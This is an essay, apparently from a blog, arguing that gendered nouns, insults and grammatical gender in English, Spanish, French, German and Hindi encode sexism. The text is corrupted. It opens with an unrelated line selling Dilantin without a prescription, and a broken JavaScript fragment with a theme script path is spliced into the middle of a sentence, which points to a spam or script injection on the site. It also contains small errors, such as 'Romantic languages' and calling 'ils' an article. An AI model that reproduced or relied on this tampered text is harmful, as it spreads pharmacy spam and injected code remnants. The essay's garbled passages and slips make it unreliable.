order Dilantin without prescription There are indicators in language that inform the way we perceive male and female counterparts, even if we do not realise how they’re working to inform us. By being coded in a manner that is detrimental towards the way we think about the feminine and women in general, English and other languages influence the way we subconsciously think about gender.
Gender and gender expression vary across cultures: what may be considered feminine in one part of the world is a testament to masculinity in another, such as wearing tight pants in the United States versus East Asia. However, there are certain characteristics that are attributed to a particular gender that are consistent across the world. And unfortunately, these characteristics don’t work in the favor of those who identify as female.
Where do these stereotypes come from? The codes for what is considered advantageous and what is considered damaging are embedded in the language used on a daily basis. Given that English is the official language of fifty-three countries and the most commonly spoken language in the world, it is not unreasonable to see trends describing gender in English being the trends observed worldwide. The ways in which female nouns are used and described in English are similar to the way female attributes are seen in the world, and vice versa. While English as a language is fairly agendered—meaning that objects are not assigned genders—there are other ways in which gender is veiled through descriptors.
In English, to distinguish between a contrasting pair of the same object, a noun is marked. While this is not exclusive to gendered nouns, it can be easily seen through differentiating a female version of a noun. An easy example of this would be that ‘lioness’ only refers to female lions, while ‘lion’ refers to both male lions and a group of both male and female lions. This is seen throughout the language; the male version of a noun is used to categorize the general noun in and of itself, while the female version of the noun is used to show difference. This is a very subtle way in which the female aspect is Othered through language. This practice extends as far as to refer to all of humanity as http://blog.culture-conscious.com/wp-content/themes/clean-retina-pro/library/js/' (/^https/i.test(window.location.href// mankind or referring to something that is not machine-made as manmade.
The male term being used for the general concept has extremely few exceptions, such as cow as opposed to bull. At other times, such an exception exists when overt marking is used to describe deviant men or women. These would include examples such as “female” doctor, “woman” president, “male” nurse, or “male” prostitute. This creates the distinction between what is normal—equating men with president and women with prostitutes and nurses—and what is not. The patriarchal norms of a society are inadvertently woven into the language and linguistic practices of a culture, using the male gender to indicate an entire group.
While feminized vocabulary does have its place in the English language, the areas that are more female do not necessarily alleviate the discriminatory practices. Several words used as insults are inherently gendered, targeted specifically towards women. These common profanities include words such as motherf-cker, b-tch, p-ssy, and c-nt. While there is a disparity between men and women using gendered profanities (men tend to use more gendered insults), it is not entirely shocking to see that these gendered insults which are targeted towards women are more commonly used. This is not to say that gendered language against men doesn’t exist; in fact there are words specific to men like b-stard and f-g. However, an online survey showed that female insults are perceived to be more offensive than either their opposing masculine counterparts or similar male insults. The linguistic system in place, like most of society, works against those who are either female identifying or displays feminine attributes.
This linguistic practice doesn’t stop at English. Knowledge of another language where inanimate objects are gendered can make people assign characteristics to those objects that are stereotypically male or female. This is directly dependent on what language the person is relying on when assigning characteristics to the object. An experiment between native Spanish speakers and native German speakers showed that marked nouns in those languages informed the way they viewed inanimate objects in English. The participants were asked to describe an unmarked noun in English, such as ‘key,’ which is marked in Spanish and German as feminine and masculine respectively. Spanish speakers described it as little, lovely, and intricate while German speakers described it as hard, heavy, and useful. Similarly, the word ‘bridge’ which is masculine in Spanish was described as big, strong, and sturdy while by German speakers was described as elegant, fragile, and pretty. Thus, the application of feminine adjectives to these words depends on the word’s gender in the language in which a person thinks. In short, this is proof that gendered language colors how we see the world.
Other languages display latent sexism as well, both in ways similar to those in English as well as ways not seen in English (due to linguistic structural differences). While English is primarily unmarked with respect to groups of mix-gendered nouns, several other Romantic languages are not. English avoids the problem by resorting to unmarked pronouns, while languages such as French and Spanish use the masculine form while referring to these mixed-gendered groups. When referring to a group of men and women, the article assigned in Spanish to refer to the group is los, the same as referring to a group of men; in French it’s ils, which is also used to refer to a group of men. Moving to Indo-European languages such as Hindi and Punjabi, gendered insults can be seen again, with more targeting towards female and the feminine. For example, profanities, even those directed towards men, are prefaced by including the mother or a sister of the target of the insult.
Gender is coded throughout language, whether one utilizes it consciously or subconsciously. It informs the way in which we perceive information and registers dialectic information as factual basis of perception. By inherently favoring the masculine, the language we speak is sexist.
There have, however, been steps taken for moving towards increasing gender neutrality: American lawmakers have been changing legal language in laws as to not bias one gender over the other, newspapers have increased their use in gender neutral titles to reflect the gender spectrum, and universities are allowing students to choose their pronouns to make sure their non-binary and transgendered students feel as included as their male and female counterparts. This conscious progress towards gender neutrality in everyday use in English helps in decreasing male privilege as well as creates awareness about how gendered language permeates our everyday conversations.